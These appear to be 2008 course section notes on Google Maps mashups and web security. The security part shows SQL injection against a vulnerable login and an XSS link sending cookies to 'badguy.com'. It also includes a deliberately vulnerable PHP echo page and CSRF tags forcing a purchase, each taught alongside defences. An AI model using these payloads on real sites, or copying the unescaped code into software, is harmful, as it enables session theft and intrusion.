Computer Science E-75: Building Dynamic Websites
Harvard Extension School
Spring 2008

Section 8: Mashups (Continued)

Hopefully, you have become familiar with the basics of the Google Maps API by this stage. If not, do not fret, simply refer back to Section 7 notes on the course website to get started with setting up. This week, we will recap some of the basics of working with Google Maps (Event Handlers and Markers) and delve deeper into mashups by implementing a functional (albeit rudimentary) mashup.

Markers -
Markers are those things that point to specific places on a Google Map (check out the real Google Maps for directions if you're confused). They are incredibly easy to create and put on the map when using the Google Maps API. Lets create a marker.

Markers are created with a constructor GMarker(coords); that takes Lat/Long coordinates as its argument. The following is code to create a marker.

```
var marker = new GMarker(new GLatLng(0, 0));
```

This will create a marker at Lat 0, Long 0, which is basically the center of the world. For convenience, the following code is often used.

```
// create variable Center that is a GLatLng object
var Center = new GLatLng(0, 0);
// create marker at Center
var marker = new GMarker(Center);
```

This makes the code easier to read, and can increase code recycling, which is always a good thing. There is still one more line of code, however, to make the marker appear on the map.

```
map.addOverlay(marker);
```

This adds an overlay (think layer) to the map with the marker on it, so that it is visible. To remove an overlay, simply code:

```
// removes a single marker
map.removeOverlay(marker);
// removes all markers
map.clearOverlays();
```

Be sure to remember to type the "map" at the beginning, as that tells the method which object it is associated with!

<u>Event Handlers -</u>
Google Maps supports a namespace (like a class) called GEvent. Using this namespace, we can add listeners that will “listen in” on objects, waiting for events to happen. Every Google Maps API object exports a number of named events. For examples, the GMap2 object exports click, dblclick, move, and a host of other events. When a certain event occurs, the event handler, defined when you add the listener, will be called. Let’s look at a basic event handler.

```
// Create an event upon “moveend” which is when the map stops
// moving
GEvent.addListener(map, “moveend”, function() {
     // clear previous overlays
     map.clearOverlays();
     // set center to map center
     var center = map.getCenter();
     // create newmark at center
     var newmark = new GMarker(center);
     // put overlay on map
     map.addOverlay(newmark);
     });
```

You will notice that we define a lambda function within the method addListener(). This is the function that handles our event - the function that fires when “moveend” occurs in “map”. As the comments indicate, this will cause a marker to be set to the center of the given map when a user moves it.

Events can also be attached to markers (or really, most any Google Maps API object). Here is an example of an event handler acting upon a marker.

```
// create an event for when the user clicks marker
GEvent.addListener(marker, “click”, function() {
     var html = ‘You clicked me!’;
     marker.openInfoWindowHtml(html);
     });
```

This listener waits for the marker named “marker” to be “clicked”, at which point, it will issue the function call, which will open an info window on the marker that says “You clicked me!”

GEvents can listen for a wide variety of different things, and the possibilities for the event handler function are endless. Consult the Google Maps API Reference for more great ideas! <u>http://code.google.com/apis/maps/documentation/reference.html</u>

<u>Our First Real Mashup!</u>

Ok, so now we have the basics down for Google Maps. We can add markers and event handlers and controls and all that jazz. Now, lets do something a little more interesting. This rudimentary mashup will combine Google Maps with Yahoo! Weather, so that users can input a zipcode and a marker will appear on the map at that zipcode, which will, upon being clicked, display weather information for that area. Alright! Let's get started.

First, let's take a look at the XHTML we will need.

```
// creates a button that will clear all markers
<input type="button" value="Clear Markers"
onClick="clearmarkers();"/>

// creates the form for users to input a zipcode
<form onsubmit="findweather(this.zip.value); return false;">
Input Zipcode to find weather: <input type="text" name="zip" />
<input type="submit" value="Find Weather" />
</form>
```

Notice the form attribute onsubmit and its value. Upon submission of the form, the function findweather is called with whatever is in the input field named "zip". Then, return false; is used to stop the actual submission of the form input to the server.

Now let's take a look at the javascript functions we'll need. First, the function initialize(), that will be called upon loading the page.

```
function initialize() {

      if (GBrowserIsCompatible()) {
          // creates new map within div with id "map_canvas"
          map = new GMap2(document.getElementById("map_canvas"));
          // sets center of map and zoom level
          map.setCenter(new GLatLng(49.496675,-102.65625), 3);

          // adds control features
          map.addControl(new GLargeMapControl());
          map.enableScrollWheelZoom();
      }
 }
```

There we are! Pretty simple, just to get started. Oh, a couple notes, take care to declare these variables before all the functions but in your javascript.

```
var map = null;
var geoXml = null;
```

You'll see why we need these later. Also, don't forget to put in the onload attribute in your body tag like so:

```
<body onload="initialize()">
```

Ok, now let's define those other functions.

```
function findweather(address) {
            var url = 
"http://xml.weather.yahoo.com/forecastrss?p=" + address + "&u=f";
            geoXml = new GGeoXml(url);
            map.addOverlay(geoXml);
        }

        function clearmarkers() {
                map.clearOverlays();
        }
```

Pretty simple, right? It is, but that's exactly the best way to start. When you start learning something new, start simple, and work your way toward more complex things.

You'll see in findweather(), we are taking in an argument called address (the zipcode that the user put in) and we are appending it into a url. That url is one found by looking for free RSS feeds. Yahoo! has a great RSS feed for weather. Where the address is appended, one needs only put in a zip code, and an RSS feed for the weather at that zip code will be returned.

You may see something unfamiliar on the next line. This is a built-in class in the Google Maps API that takes a url and automatically adds geographic content to the map from an XML file (such as a KML file) that is hosted on a publicly accessible web server. After all, RSS is just an XML file that can be parsed and used. Basically, what it does is create a GOverlay that represents the XML file found at the url. Then, all we have to do is add the overlay. Pretty neat, right? The reference for Google Maps API is full of great classes and methods that are at your disposal.

The function clearmarkers() is pretty straightforward. As a user continues to type in more zip codes, the markers keep getting laid on top of each other (that is, the old markers don't disappear). So, clearmarkers() simply gets rid of all the overlays.

PART 2: SECURITY

Obvious Threats:
-Telnet
-FTP
-HTTP
-MySQL
-Physical Access

Better Ways to Handle These Threats
-Telnet vs. SSH
-FTP vs. SFTP
-HTTP vs. HTTPS
-MySQL (use sanitizing tactics (see below!))
-Physical Access (TRUST NO ONE)

Cookies
Remember that Cookies are always visible to anyone—that's really their point! Don't put anything in a cookie that you wouldn't want every single person on the net to know about.

SQL Injections:

This line of code is how many unwitting programmers naively implement their first log-in module. I've done it, and maybe you've done it too.

```
$result = mysql_query(sprintf(" SELECT uid FROM users
WHERE username='%s' AND password='%s' ",
$_POST["username"], $_POST["password"]));
```

This code is dangerous, though! What if I were to enter a username and a password that look like this…

```
SELECT uid FROM users
WHERE username='jharvard'
AND password='12345' OR '1' = '1'
```

Right. That would mean that the user is instantly logged in—not because their password was `'12345' OR '1' = '1'` , but because 1 ALWAYS equals 1.

THIS is how you should implement the first block of this section. Note the ludicrously long function `mysql_real_escape_string` that takes as an argument a string and then 'sanitizes' it by escaping certain characters.

```
$result = mysql_query(sprintf(" SELECT uid FROM users
WHERE username='%s' AND password='%s' ",
mysql_real_escape_string($_POST["username"]),
mysql_real_escape_string($_POST["password"])));
```

This block is what the malicious user's input would look like if we had implemented the second login module. Odd, but harmless.

```
SELECT uid FROM users
WHERE username='jharvard'
AND password='12345\' OR \'1\' = \'1'
```

XSS (Cross site scripting):

From the English Wikipedia:

Cross-site scripting (**XSS**) is a type of computer security vulnerability typically found in web applications which allow code injection by malicious web users into the web pages viewed by other users. Examples of such code include HTML code and client-side scripts. An exploited cross-site scripting vulnerability can be used by attackers to bypass access controls such as the same origin policy. Vulnerabilities of this kind have been exploited to craft powerful phishing attacks and browser exploits. Cross-site scripting was originally referred to as **CSS**, although this usage has been largely discontinued (due to confusion with Cascading Style Sheets).

XSS (scenario)
1. You click a link like
http://vulnerable.com/?foo=<script>document.location='http://badguy.com/log.php?cookie='+document.cookie</script>
or, really,
http://vulnerable.com/?foo=%3Cscript%3Edocument.location%3D'http%3A%2F%2Fbadguy.com%2Flog.php%3Fcooki
e%3D'%2Bdocument.cookie%3C%2Fscript%3E

2. vulnerable.com makes the mistake of

writing value of foo to its body

3. badguy.com gets your cookies! Here’s how:

```
<?
//xss1.php
// enable sessions
session_start();
// set a cookie
setcookie("secret", "12345");
?>
<!DOCTYPE html PUBLIC
"-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
     <title></title>
</head>
<body>
     <form action="xss2.php" method="get">
          <input name="name" type="text" />
          <input type="submit" value="Say My Name" />
     </form>
</body>
</html>


======



<?
//xss2.php
?>
<!DOCTYPE html PUBLIC
"-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title></title>
</head>
<body>
     <h1>Hello, <? echo $_GET["name"]; ?>!</h1>
```

```
</body>
</html>
```

Interesting Examples of XSS in Action, in the Real World (From Wikipedia)

- An example of a DOM-based vulnerability was once found in an error page produced by Bugzilla where JavaScript was used to write the current URL, through the document.location variable, to the page without any filtering or encoding. In this case, an attacker who controlled the URL might have been able to inject script, depending on the behavior of the browser in use. This vulnerability was fixed by encoding the special characters in the document.location string prior to writing it to the page.
- A famous example for Non-Persistent XSS vulnerabilities: Two XSS vulnerabilities in Google.com website were identified and published by Yair Amit in December 2005. The vulnerabilities allowed an attacker to impersonate legitimate members of Google's services or to mount a phishing attack. This publication presented an obscure way to bypass common XSS countermeasures by using UTF-7 encoded payloads.
- Two DOM-based XSS vulnerabilities were exploited humorously, in August 2006, through a fake news summary which claimed President Bush appointed a 9 year old boy to be the chairperson of the Information Security Department. This claim was backed up with links to cbsnews.com and www.bbc.co.uk, both of which were vulnerable to separate XSS holes which allowed the attackers to inject an article of their choosing.
- An example of a Persistent vulnerability was found in Hotmail, in October 2001 by Marc Slemko, which allowed an attacker to steal a user's Microsoft .NET Passport session cookies. The exploit for this vulnerability consisted of sending a malicious email to a Hotmail user, which contained malformed HTML. The script filtering code in Hotmail's site failed to remove the broken HTML and Internet Explorer's parsing algorithm happily interpreted the malicious code. This problem was quickly fixed, but multiple similar problems were found in Hotmail and other Passport sites later on.
- Netcraft announced on June 16, 2006 that a security flaw in the PayPal web site is being actively exploited by fraudsters to steal credit card numbers and other personal information belonging to PayPal users. The issue was reported to Netcraft via their own anti-phishing toolbar. Soon after, Paypal reported that a "change in some of the code" on the Paypal website had removed the vulnerability.
- On October 13, 2005 Samy exploited a security flaw in MySpace resulting in over one million friend requests being made to its creator's profile. Qualifying as a Persistent vulnerability, it used multiple XMLHttpRequests to propagate itself.
- On October 10th, 2007, the website belonging to the Australian Liberal Party had a Type 2 security hole exploited, resulting in a photograph of then Australian Prime Minister John Winston Howard being captioned with a lewd suggestion.[2][3]

CSRF/XSRF (Cross-site request forgery)

From the English Wikipedia:

Cross-site request forgery, also known as **one click attack** or **session riding** and abbreviated as

CSRF (Sea-Surf) or **XSRF**, is a type of malicious exploit of websites. Although this type of attack has similarities to cross-site scripting (XSS), cross-site scripting requires the attacker to inject unauthorized code into a website, while cross-site request forgery merely transmits unauthorized commands from a user the website trusts.

CSRF/XSRF (scenario)
1. You log into project2.domain.tld.

2. You then visit a bad guy's site.

3. Bad guy's site contains a link to
http://project2.domain.tld/buy.php?symbol=INFX.PK

4. You unwittingly buy the penny stock!

```
<img src="http://project2.domain.tld/buy.php?symbol=INFX.PK" />
<script
src="http://project2.domain.tld/buy.php?symbol=INFX.PK"></script
>
<iframe src="http://project2.domain.tld/buy.php?symbol=INFX.PK"
/>
     <script type="text/javascript">
          // <[CDATA[
               var img = new Image();
               img.src =
          "http://project2.domain.tld/buy.php?symbol=INFX.PK";
          // ]]>
     </script>
```

<u>Defenses agains CSRF/XSRF</u>

Use POST for sensitive actions?
Use HTTP_REFERER?
Append session tokens to URLs?
Expire sessions quickly?
CAPTCHAs?
Prompt user to re-login?